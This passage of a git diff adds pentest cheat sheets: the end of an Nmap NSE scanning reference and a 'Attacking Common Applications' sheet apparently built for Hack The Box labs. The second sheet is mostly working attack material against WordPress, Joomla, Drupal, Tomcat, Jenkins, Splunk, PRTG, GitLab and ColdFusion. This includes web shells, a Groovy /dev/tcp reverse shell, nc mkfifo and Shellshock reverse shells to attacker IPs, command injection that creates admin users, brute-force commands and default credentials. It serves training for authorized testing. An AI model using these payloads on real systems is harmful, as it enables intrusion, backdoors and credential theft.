+nmap -sV -p80,443 --script=http-enum <target>
+```
+
+### TLS — Any TLS-Wrapped Port
+
+```bash
+# ssl-enum-ciphers makes many TLS connections and is categorized intrusive
+nmap -sV -p443,465,636,993,995,8443 \
+ --script=ssl-cert,ssl-enum-ciphers,ssl-dh-params <target>
+```
+
+### SMB — TCP 445/139
+
+```bash
+nmap -sV -p139,445 \
+ --script=smb-protocols,smb2-capabilities,smb2-security-mode,smb2-time,smb-os-discovery \
+ <target>
+
+# Share/user enumeration may require credentials and generates audit events
+nmap -p445 --script=smb-enum-shares,smb-enum-users <target>
+```
+
+### LDAP / Active Directory — TCP 389/636/3268/3269
+
+```bash
+nmap -sV -p389,636,3268,3269 \
+ --script=ldap-rootdse,ssl-cert <domain-controller>
+
+# ldap-search can return substantial directory data; inspect arguments first
+nmap --script-help ldap-search
+```
+
+### SNMP — UDP 161
+
+```bash
+sudo nmap -sU -sV -p161 \
+ --script=snmp-info,snmp-sysdescr,snmp-interfaces \
+ --script-args='creds.snmp=:public' <target>
+```
+
+### RPC / NFS — TCP/UDP 111 and TCP/UDP 2049
+
+```bash
+sudo nmap -sS -sU -sV -p T:111,2049,U:111,2049 \
+ --script=rpcinfo,nfs-showmount,nfs-ls,nfs-statfs <target>
+```
+
+### Databases and Data Stores
+
+```bash
+# MySQL
+nmap -sV -p3306 --script=mysql-info <target>
+
+# Categorized auth/intrusive: explicit empty-password check
+nmap --script-help mysql-empty-password
+nmap -sV -p3306 --script=mysql-empty-password <target>
+
+# Microsoft SQL Server
+nmap -sV -p1433 --script=ms-sql-info,ms-sql-ntlm-info <target>
+
+# MongoDB
+nmap -sV -p27017 --script=mongodb-info,mongodb-databases <target>
+
+# Redis
+nmap -sV -p6379 --script=redis-info <target>
+```
+
+### Remote Desktop and VNC
+
+```bash
+nmap -sV -p3389 --script=rdp-enum-encryption,rdp-ntlm-info <target>
+nmap -sV -p5900-5905 --script=vnc-info <target>
+```
+
+### Docker API
+
+```bash
+nmap -sV -p2375,2376 --script=docker-version,ssl-cert <target>
+```
+
+---
+
+## Broadcast and Prerule Discovery
+
+```bash
+# Local-segment discovery; many broadcast scripts do not need a target
+sudo nmap --script=broadcast-dhcp-discover
+sudo nmap --script=broadcast-dns-service-discovery
+sudo nmap --script=broadcast-upnp-info
+
+# Allow a script to add discovered addresses to Nmap's scan queue
+sudo nmap --script=broadcast-dns-service-discovery \
+ --script-args=newtargets
+```
+
+> [!warning]+ `newtargets` Can Expand Scope
+> Broadcast/multicast replies may reveal systems not present in the original target list. Do not enable `newtargets` unless the resulting local segment is explicitly authorized.
+
+---
+
+## Why a Script Did Not Run or Returned Nothing
+
+| Symptom | Explanation | Next Step |
+|---|---|---|
+| No script output | Many scripts return nothing when no finding exists | Add `-d`; inspect `--script-trace` only if needed |
+| Script skipped | Port/service did not match its rule | Add `-sV`; verify port; consider `+script` only after review |
+| Wrong HTTP site | Name-based virtual hosting | Supply the documented `http.host` argument or scan the hostname |
+| TLS certificate differs | SNI/load balancer routing | Scan the hostname and review the script's TLS/SNI arguments |
+| Script hangs | Service throttling, filtering, or script bug | Add `--script-timeout`; run one script at a time; use `--script-trace` |
+| `SCRIPT ENGINE` error | Missing library, stale database, or incompatible third-party script | Run `nmap --script-updatedb`; inspect debug output and script source |
+| Auth script fails | Wrong domain/auth scheme or lockout policy | Stop repeated attempts; validate one credential manually and review RoE |
+| UDP script skipped | Port stayed `open|filtered` or version unresolved | Add `-sU -sV`; target the exact UDP port |
+
+```bash
+# Minimal debugging pattern
+nmap -Pn -n -sV -p443 \
+ --script=ssl-cert --script-timeout 30s -d2 <target>
+
+# Packet-level script view; keep the port/script set tiny
+nmap -Pn -n -p443 --script=ssl-cert --script-trace <target>
+```
+
+---
+
+## Local Script Discovery and Maintenance
+
+```bash
+# Installed scripts on this Arch/Omarchy system
+find /usr/share/nmap/scripts -maxdepth 1 -type f -name '*.nse' | sort
+
+# Search by protocol or technique
+rg -l 'categories.*vuln' /usr/share/nmap/scripts
+rg -l 'SMB|smb' /usr/share/nmap/scripts
+
+# Rebuild the index after adding or removing a trusted script
+sudo nmap --script-updatedb
+```
+
+> [!danger]+ Third-Party Script Review Checklist
+> 1. Read the complete `.nse` file and every non-standard library it loads.
+> 2. Check categories, `prerule`/`hostrule`/`portrule`, and the `action` function.
+> 3. Look for file writes, `os.execute`, external network calls, credential handling, and exploit/DoS behaviour.
+> 4. Pin the source/commit in engagement notes; do not silently replace evidence tooling mid-assessment.
+> 5. Test against a lab clone before production-like systems.
+
+---
+
+## Quick Reference Card
+
+```bash
+nmap -sV -sC <target> # curated defaults
+nmap --script-help '<expression>' # review without scanning
+nmap -sV --script='default or safe' <target> # broader low-impact pass
+nmap --script='<name1>,<name2>' <target> # explicit bundle
+nmap --script='http-*' -p80,443 <target> # quoted wildcard
+nmap --script-args='key=value' <target> # inline argument
+nmap --script-args-file args.txt <target> # argument file
+nmap --script-timeout 30s --script=... # per-script ceiling
+nmap --script-trace --script=... # script traffic debug
+sudo nmap --script-updatedb # rebuild local script index
+```
+
+---
+
+## References
+
+1. [Nmap NSE Usage and Examples](https://nmap.org/book/nse-usage.html)
+2. [Nmap Scripting Engine Reference](https://nmap.org/book/man-nse.html)
+3. [NSE Documentation Portal](https://nmap.org/nsedoc/)
+4. [NSE Script Format](https://nmap.org/book/nse-script-format.html)
+5. NSE Guide — comprehensive vault reference
diff --git a/src/content/sheets/exploitation/attacking-common-applications.md b/src/content/sheets/exploitation/attacking-common-applications.md
@@ -0,0 +1,502 @@
+---
+title: "Attacking Common Applications (CPTS)"
+description: "Attacking common web applications — WordPress, Tomcat, Jenkins, Splunk, GitLab and others — from fingerprinting through to RCE."
+category: exploitation
+tags: ["exploitation", "web"]
+tools: ["Nmap", "ffuf", "Gobuster", "Nuclei", "WPScan"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/02 - Attacking Common Applications - CPTS Cheat Sheet.md"
+---
+# Attacking Common Applications — CPTS Cheat Sheet
+
+## Summary
+
+The off-the-shelf web apps you meet on nearly every internal network — **CMS** (WordPress, Joomla, Drupal), **servlet/app servers** (Tomcat, Jenkins), **infrastructure/monitoring** (Splunk, PRTG, osTicket, GitLab), plus **CGI/Shellshock, ColdFusion, IIS short-name disclosure, LDAP-backed logins, mass-assignment, and thick clients**. The pattern repeats: **fingerprint the app and exact version → reach the admin/management console (default creds, brute, or OSINT) → turn admin access into code execution** via a theme/plugin/template editor, a script console, a WAR/app upload, or a version-specific CVE.
+
+> [!danger]+ HTB-Only Boundary
+>
+> 1. Authorized engagements / labs only. Many chains here (Drupalgeddon, Ghostcat, ColdFusion RCE, GitLab ExifTool) are full unauth/auth RCE — destructive if misused.
+> 2. Admin-console RCE (theme/plugin/script editors) **plants a live backdoor** — track every file and remove it.
+> 3. `--api-token`, breach-data lookups, and OSINT touch third parties — stay in scope.
+
+```mermaid
+%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%%
+flowchart LR
+ A["Sweep web ports\n80,443,8000,8080,8180,8500,8888,10000"] --> B["Fingerprint app + version\n(headers, meta generator,\nCHANGELOG, favicon, /docs)"]
+ B --> C["Reach admin console\n(default creds / brute / OSINT)"]
+ C --> D{"RCE primitive"}
+ D --> E["Editor: theme/plugin/template/script"]
+ D --> F["Upload: WAR / plugin / custom app"]
+ D --> G["Version CVE"]
+ E --> H["Web/reverse shell"]
+ F --> H
+ G --> H
+```
+
+---
+
+## 0 · Discovery & triage
+
+```bash
+printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts
+
+sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
+sudo nmap --open -sV $IP
+
+# Screenshot the estate to triage fast
+eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
+cat web_discovery.xml | ./aquatone -nmap
+# modern equivalents: httpx -screenshot · gowitness · nuclei
+```
+
+> [!tip]+ Prioritise the odd vhosts
+>
+> Flag any host/vhost containing `dev / qa / acc / stage` — non-prod copies are patched last and log-in restrictions are looser. Fingerprint *before* attacking: never run a WordPress chain against Joomla, or MySQL syntax against MSSQL.
+
+---
+
+## Application config & loot map
+
+After a foothold, inspect the application’s own configuration before launching a broad filesystem search. These files often reveal database credentials, signing secrets, service accounts, internal hostnames, and paths to further evidence.
+
+| Application | High-value locations | Likely findings |
+|---|---|---|
+| WordPress | Web root `wp-config.php` | DB name/user/password, salts, table prefix |
+| Joomla | Web root `configuration.php` | DB credentials, mail settings, log/tmp paths |
+| Drupal | `sites/default/settings.php`, `sites/*/services.yml` | DB URL, hashes/salts, trusted hosts |
+| Tomcat | `$CATALINA_BASE/conf/{server.xml,tomcat-users.xml,context.xml}` | Manager roles, JNDI data sources, connector config |
+| Jenkins | `$JENKINS_HOME/config.xml`, `credentials.xml`, `secrets/`, job `config.xml` files | Credential IDs/blobs, build secrets, agent keys, command history |
+| Splunk | `$SPLUNK_HOME/etc/{system,apps}/*/local/*.conf` | Auth, deployment targets, scripted-input paths |
+| GitLab Omnibus | `/etc/gitlab/gitlab.rb`, `/var/opt/gitlab/gitlab-rails/etc/secrets.yml` | External services, Rails secrets, storage paths |
+| Windows/IIS apps | `web.config`, app directory, service registry key | Connection strings, appSettings, DLL/search paths |
+
+> [!warning]+ Handle as sensitive evidence
+> Collect only what the engagement permits. Record the source path, owner/ACL, timestamp, and hash; do not paste live secrets into the note. Re-test recovered credentials deliberately against in-scope services.
+
+---
+
+## 1 · WordPress — PHP, port 80
+
+```bash
+# Fingerprint: meta generator, robots.txt → wp-admin/wp-content, /wp-json, ?ver=
+curl -s http://blog.inlanefreight.local | grep WordPress # <meta ... content="WordPress 5.8" />
+curl -s http://blog.inlanefreight.local/ | grep -E 'themes|plugins'
+# plugin version in wp-content/plugins/<plugin>/readme.txt
+
+# Enumerate (API token = free 75 req/day)
+sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
+# --enumerate ap = all plugins · --enumerate u = users
+# user-enum oracle: "invalid username" vs "incorrect password"
+
+# Brute force over XML-RPC (faster — many guesses per request)
+sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
+```
+
+**RCE — Theme Editor (admin ≈ RCE):** `Appearance → Theme Editor → an inactive theme (Twenty Nineteen) → 404.php`, add:
+```php
+system($_GET[0]);
+```
+```bash
+curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
+# Metasploit: exploit/unix/webapp/wp_admin_shell_upload (malicious plugin + PHP meterpreter)
+```
+
+**Unauth plugin bugs:**
+```bash
+# mail-masta LFI (unauthenticated include via pl=)
+curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
+
+# wpDiscuz unauth upload RCE — CVE-2020-24186 (client-side-only MIME check)
+python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
+curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
+```
+
+---
+
+## 2 · Joomla — PHP/MySQL
+
+```bash
+# Fingerprint: meta generator, /administrator/, README.txt, version XML
+curl -s http://dev.inlanefreight.local/ | grep Joomla
+curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - # <version>3.9.4</version>
+# also plugins/system/cache/cache.xml ; whatweb
+
+# Enumerate
+sudo pip3 install droopescan
+droopescan scan joomla --url http://dev.inlanefreight.local/
+
+# Brute admin (generic login error → target the known 'admin')
+sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
+```
+
+**RCE — Template editor:** `Configuration → Templates → protostar → Templates: Customise → error.php`:
+```php
+system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
+```
+```bash
+curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
+# CVE-2019-10945 — auth dir-traversal + file delete (core 1.5.0–3.9.4)
+python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
+```
+
+---
+
+## 3 · Drupal
+
+```bash
+# Fingerprint: "Powered by Drupal", CHANGELOG.txt, /node/<id>
+curl -s http://drupal.inlanefreight.local | grep Drupal
+curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21
+droopescan scan drupal -u http://drupal.inlanefreight.local
+```
+
+**RCE — PHP Filter module (Drupal 7; disabled by default):** enable *PHP filter* → add a Basic page with Text format = *PHP code*:
+```php
+<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
+```
+```bash
+curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
+# Drupal 8+ removed it from core → install the module:
+wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz # Reports > Available updates > Install new module
+```
+
+**RCE — backdoored module upload (Drupal 8+):**
+```bash
+wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
+# add shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>
+# add .htaccess re-enabling /modules access, then:
+mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
+# Manage → Extend → + Install new module → captcha.tar.gz
+curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
+```
+
+**Drupalgeddon family:**
+```bash
+# CVE-2014-3704 · pre-auth SQLi, Drupal 7.0–7.31 → rogue admin
+python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd # msf: multi/http/drupal_drupageddon
+
+# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
+python3 drupalgeddon2.py
+curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id
+
+# CVE-2018-7602 (Drupalgeddon3) · auth RCE — msf multi/http/drupal_drupageddon3
+# needs node-delete rights + a valid session cookie (set DRUPAL_SESSION, DRUPAL_NODE, VHOST)
+```
+
+---
+
+## 4 · Tomcat — 8080/8180, AJP 8009
+
+```bash
+# Fingerprint + find the manager
+curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30)
+gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
+# creds live in conf/tomcat-users.xml (roles: manager-gui / manager-script / manager-jmx / manager-status)
+
+# Default creds: tomcat:tomcat admin:admin tomcat:s3cret tomcat:admin
+# Brute: msf auxiliary/scanner/http/tomcat_mgr_login (set VHOST, RPORT 8180, stop_on_success true)
+```
+
+**RCE — WAR deploy (JSP web shell):**
+```bash
+wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
+zip -r backup.war cmd.jsp # Manager → deploy backup.war
+curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"
+# reverse-shell WAR instead:
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war # msf: multi/http/tomcat_mgr_upload
+```
+
+**Unauth / OS-specific CVEs:**
+```bash
+# Ghostcat — CVE-2020-1938 · unauth AJP LFI (< 9.0.31 / 8.5.51 / 7.0.100)
+nmap -sV -p 8009,8080 app-dev.inlanefreight.local
+python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
+
+# CGI Servlet injection — CVE-2019-0232 (Windows only; & chains, URL-encode to bypass)
+ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
+# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe (%3A=: %5C=\)
+```
+
+---
+
+## 5 · Jenkins — 8080 (lab 8000), agent 5000
+
+Runs as **SYSTEM** (Windows) / **root** (Linux). Check anonymous read/build first, then the Groovy **Script Console** at `/script`.
+
+```groovy
+// Run a command
+def cmd = 'id'
+def sout = new StringBuffer(), serr = new StringBuffer()
+def proc = cmd.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000)
+println sout
+```
+```groovy
+// Linux reverse shell
+r = Runtime.getRuntime()
+p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
+p.waitFor()
+```
+```groovy
+// Windows command
+def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}");
+```
+> CVE chain (patched by 2.303.1 LTS): **CVE-2018-1999002 + CVE-2019-1003000** — script-security sandbox bypass, pre-auth RCE on 2.137.
+
+---
+
+## 6 · Splunk — web 8000, mgmt/REST 8089
+
+```bash
+sudo nmap -sV $IP # 8000 & 8089 = Splunkd httpd ; trial drops to unauth "Free" after 60 days
+# Default/weak: admin:changeme (shown on login page), admin:Welcome1, admin:Password123
+```
+
+**RCE — malicious custom app** (`splunk_shell/` with `bin/` + `default/`). `default/inputs.conf`:
+```ini
+[script://.\bin\run.bat]
+disabled = 0
+sourcetype = shell
+interval = 10
+```
+`bin/run.bat`:
+```batch
+@ECHO OFF
+PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
+Exit
+```
+```bash
+tar -cvzf updater.tar.gz splunk_shell/ && sudo nc -lnvp 443
+# Manage Apps → Install app from file → updater.tar.gz (shell as nt authority\system / root)
+# Universal Forwarders lack Python → use the PowerShell/.bat variant, not the Python one
+# Pivot: drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Forwarder
+```
+
+---
+
+## 7 · PRTG Network Monitor — Windows, 8080
+
+```bash
+sudo nmap -sV -p- --open -T4 $IP
+curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
+# "PRTG Network Monitor 17.3.33.2830" (< 18.2.39 = vulnerable)
+# Default: prtgadmin:prtgadmin (often pre-filled) ; weak: prtgadmin:Password123
+```
+
+**RCE — CVE-2018-9276** (authenticated command injection via a notification, blind):
+`Setup → Account Settings → Notifications → Add → tick EXECUTE PROGRAM → Program File: `Demo exe notification - outfile.ps1`` with parameter:
+```batch
+test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
+```
+Save → **Test**, then confirm out-of-band:
+```bash
+sudo nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin [HTB: Netmon]
+```
+
+---
+
+## 8 · osTicket — methodology / OSINT (no core CVE)
+
+Fingerprint by the `OSTSESSID` cookie and the "powered by osTicket" footer.
+
+- Submit a ticket → harvest the **company reply-to email** → self-register on portals that gate by email domain (Slack, GitLab, Mattermost, Rocket.Chat).
+- Mine closed tickets for password resets / "standard new-joiner password" sent in plaintext; export the address book as a spraying user list.
+
+```bash
+# Breach-data OSINT for reuse
+sudo python3 dehashed.py -q inlanefreight.local -p # e.g. password : Fish1ng_s3ason!
+# alternatives: HIBP, intelx.io, linkedin2username [HTB: Delivery]
+```
+
+---
+
+## 9 · GitLab — Linux (lab 8081)
+
+```bash
+# /explore lists public projects unauthenticated; version via /help after login
+# Username enum via /users/sign_up ("Email has already been taken") — works even if sign-up is disabled
+./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
+# lockout: 10 fails → 10-min auto-unlock
+# Register hacker:Welcome1 → /explore for secrets, SSH keys, commit history, snippets
+```
+
+**RCE — GitLab CE ≤ 13.10.2** (authenticated, ExifTool metadata parsing):
+```bash
+python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
+ -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
+nc -lnvp 8443 # shell as git (uid 996)
+# successor: CVE-2021-22205 — unauth ExifTool RCE on later versions
+```
+
+---
+
+## 10 · CGI / Shellshock — Linux, `cgi-bin` (CVE-2014-6271)
+
+```bash
+# Underlying-bug test (Bash ≤ 4.3)
+env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
+
+# Discover a CGI script (-x cgi appends the extension; 200 w/ 0-length body still worth testing)
+gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
+feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi
+
+# Exploit via User-Agent (also works in Referer / Cookie)
+curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s '' http://$IP/cgi-bin/access.cgi
+
+# Reverse shell (as www-data)
+curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://$IP/cgi-bin/access.cgi
+sudo nc -lvnp 7777
+# patched Bash requires the BASH_FUNC_ prefix
+```
+
+---
+
+## 11 · Thick Client Applications — Windows
+
+**Toolkit:** Ghidra, IDA, **dnSpyEx**/dnSpy, JADX, JD-GUI, de4dot, x64dbg, ProcMon, Frida, Wireshark/tcpdump, Burp.
+
+- **Hardcoded creds from memory** (Restart-Oracle-Service pattern): watch with ProcMon for a temp file in `%LOCALAPPDATA%\Temp`; on that folder disable inheritance + deny "Delete"/"Delete subfolders and files" so it can't self-clean, re-run to capture the dropped `.bat`, then decode the base64 dropper. Or dump from x64dbg: Memory Map → find an `-RW--` region with an `MZ` header (embedded PE) → **Dump Memory to File** → `strings64.exe dump.bin`; `de4dot` deobfuscates .NET, `dnSpy` decompiles to C#.
+- **Client/server (Fatty pattern):** grep the client jar for the port, patch Spring `beans.xml`, strip SHA-256 digests + `.RSA`/`.SF` from `META-INF/MANIFEST.MF`, rebuild with `jar -cmf`.
+```powershell
+Select-String -Path fatty-client\* -Pattern "8000" -Recurse
+```
+- **Path-traversal + SQLi in decompiled logic (JD-GUI):** patch `currentFolder = "configs"` → `".."` (server filters `/` but not `..`); the login query is unsanitised:
+```text
+Login username: qtc' UNION SELECT 1,'abc','a@a','abc','admin
+Login password: abc
+```
+Password is hashed client-side (`SHA-256(username+password+secret)`) → patch `setPassword()` to send plaintext so the UNION literal matches.
+
+---
+
+## 12 · ColdFusion — Windows, port 8500, `.cfm`/`.cfc`
+
+```bash
+# Fingerprint: 8500, /CFIDE/administrator/index.cfm, Server: ColdFusion
+nmap -p- -sC -Pn $IP --open
+searchsploit adobe coldfusion
+
+# CVE-2010-2861 · dir traversal (≤ 9.0.1) → leaks CF admin hash in password.properties
+searchsploit -p 14641 && cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
+python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
+
+# CVE-2009-2265 · unauth FCKeditor upload RCE (≤ 8.0.1) → shell as CF service account
+searchsploit -p 50057 && cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .
+python3 50057.py # set lhost/lport/rhost/rport inside; uploads JSP, triggers, self-cleans
+```
+
+---
+
+## 13 · IIS Tilde (8.3 short-name) Enumeration — Windows/IIS
+
+```bash
+nmap -p- -sV -sC --open $IP # Microsoft IIS httpd 7.5
+
+# Scanner (needs Oracle Java) — reveals ~1 short names (ASPNET~1, TRANSF~1.ASP, CSASPX~1.CS)
+java -jar iis_shortname_scanner.jar 0 5 http://$IP/
+
+# Build a wordlist from the recovered prefix, then recover the full name
+egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
+gobuster dir -u http://$IP/ -w /tmp/list.txt -x .aspx,.asp
+# tool: github.com/irsdl/IIS-ShortName-Scanner [HTB: Bounty]
+```
+
+---
+
+## 14 · LDAP Injection & Web Mass Assignment
+
+```bash
+# Direct LDAP query (389 / LDAPS 636)
+ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
+ -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"
+
+# Fingerprint an LDAP-backed login
+nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 OpenLDAP alongside the web app
+```
+
+**LDAP injection auth bypass** — special chars `* ( ) & |`:
+```text
+Username: *
+Password: *
+# → (&(objectClass=user)(sAMAccountName=*)(userPassword=*)) matches any user
+```
+
+**Mass assignment** — an unlisted field (`confirmed`, `admin`, `role`) is bound straight into the insert. Add it to the request body in Burp:
+```http
+POST /register
+username=new&password=test&confirmed=test
+# Rails equivalent: add "admin: true" to the user hash (defeats weak attr_accessible)
+```
+
+---
+
+## Honourable mentions & hardening
+
+| App | Abuse / default creds |
+|---|---|
+| **Axis2** | On Tomcat; default admin → upload web shell as `.AAR` (msf module exists) |
+| **WebSphere** | Default `system:manager` → deploy WAR for RCE |
+| **Elasticsearch** | Unauth instances + multiple CVEs [HTB: Haystack] |
+| **Zabbix** | SQLi, auth bypass, LDAP pw disclosure, API-abuse RCE [HTB: Zipper] |
+| **Nagios** | Default `nagiosadmin:PASSW0RD`; RCE + root privesc |
+| **WebLogic** | 190+ CVEs, many unauth RCE (Java deserialization) |
+| **DotNetNuke** | Auth bypass, dir traversal, file-upload bypass |
+| **vCenter** | **CVE-2021-22005** unauth OVA-upload RCE; often SYSTEM/domain admin |
+
+**Hardening quick ref:** disable in-browser PHP editing (WP Theme Editor, Drupal PHP Filter); WP → WordFence + MFA; Tomcat → restrict Manager to localhost/IP-whitelist; Jenkins → Matrix Authorization; Splunk/PRTG → change defaults + patch; GitLab → sign-up restrictions. WAF is defence-in-depth only.
+
+---
+
+## Evidence & cleanup checklist
+
+- [ ] Save the exact URL, virtual host, product/version evidence, account context, and request or console action.
+- [ ] Hash every uploaded WAR, plugin, module, script, or executable and record its destination path.
+- [ ] Record configuration changes: enabled script consoles, notification actions, themes/plugins, tasks, and created users.
+- [ ] Remove uploaded payloads and temporary users; restore edited files/settings from a known baseline.
+- [ ] Re-request the affected route and check the filesystem/process list to confirm the backdoor no longer exists.
+- [ ] Move recovered hosts, users, and credentials into the scoped target matrix; keep actual secrets in protected storage.
+
+---
+
+## Quick CVE index
+
+| CVE | App | Type | Tool / Module |
+|---|---|---|---|
+| CVE-2020-24186 | WP wpDiscuz | unauth upload RCE | `wp_discuz.py` |
+| CVE-2019-10945 | Joomla 1.5.0–3.9.4 | auth traversal + delete | `joomla_dir_trav.py` |
+| CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi (Drupalgeddon) | `drupalgeddon.py` |
+| CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` |
+| CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` |
+| CVE-2020-1938 | Tomcat <9.0.31 | unauth AJP LFI (Ghostcat) | `tomcat-ajp.lfi.py` |
+| CVE-2019-0232 | Tomcat (Win CGI) | command injection | ffuf + URL-encoded query |
+| CVE-2019-1003000 (+2018-1999002) | Jenkins 2.137 | pre-auth RCE | Script Console |
+| CVE-2018-9276 | PRTG <18.2.39 | auth command injection | Notification "Execute Program" |
+| CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor) |
+| — | GitLab CE ≤13.10.2 | auth RCE | `gitlab_13_10_2_rce.py` |
+| CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` |
+| CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → hash leak | `14641.py` |
+| CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` |
+| CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — |
+
+**Default creds:** Tomcat `tomcat:tomcat`/`tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`.
+**Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins agent 5000 · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab lab 8081 · LDAP 389/636.
+
+---
+
+## Lessons Learned
+
+1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the meta generator, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash before choosing an exploit.
+2. **Admin console = RCE.** WordPress/Joomla/Drupal editors, the Jenkins Script Console, and Tomcat Manager all turn "I'm logged in as admin" into code execution — default creds and a short spray get you there more often than a CVE.
+3. **Upload = plant a backdoor.** WAR/plugin/custom-app uploads leave a live shell on disk; note the path and remove it at cleanup.
+4. **Apps hold creds for other systems.** Config files, connection strings (thick clients, ELF/DLL reversing), and osTicket/GitLab secrets feed straight into service attacks and lateral movement — always test recovered creds for reuse.
+5. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest.
+
+## References
+
+1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113)
+2. [WPScan](https://github.com/wpscanteam/wpscan) · [droopescan](https://github.com/SamJoan/droopescan)
+3. [tennc/webshell (JSP cmd.jsp)](https://github.com/tennc/webshell)
+4. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
+5. [WordPress Developer Resources — Editing wp-config.php](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/)
